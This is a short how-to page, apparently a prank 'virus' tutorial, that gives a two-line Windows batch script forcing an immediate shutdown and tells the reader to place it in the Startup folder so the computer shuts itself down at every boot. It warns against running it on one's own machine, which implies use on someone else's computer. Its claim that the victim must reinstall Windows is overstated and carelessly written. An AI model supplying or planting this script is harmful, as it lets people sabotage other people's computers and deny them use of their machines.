Automatic Shutdown Virus

Copy the following code in notepad and save it as virus.bat

@echo off
shutdown -s -f -t 00

Cut  and paste it in the following folder

1. Open Start Menu
2. Open Programs
3. Open Startup folder
4. Paste Here

Now you are done!

Note:  Don't try it on own your own computer. After you do this, the will shutdown automatically at startup and you have to repeat your windows intallation.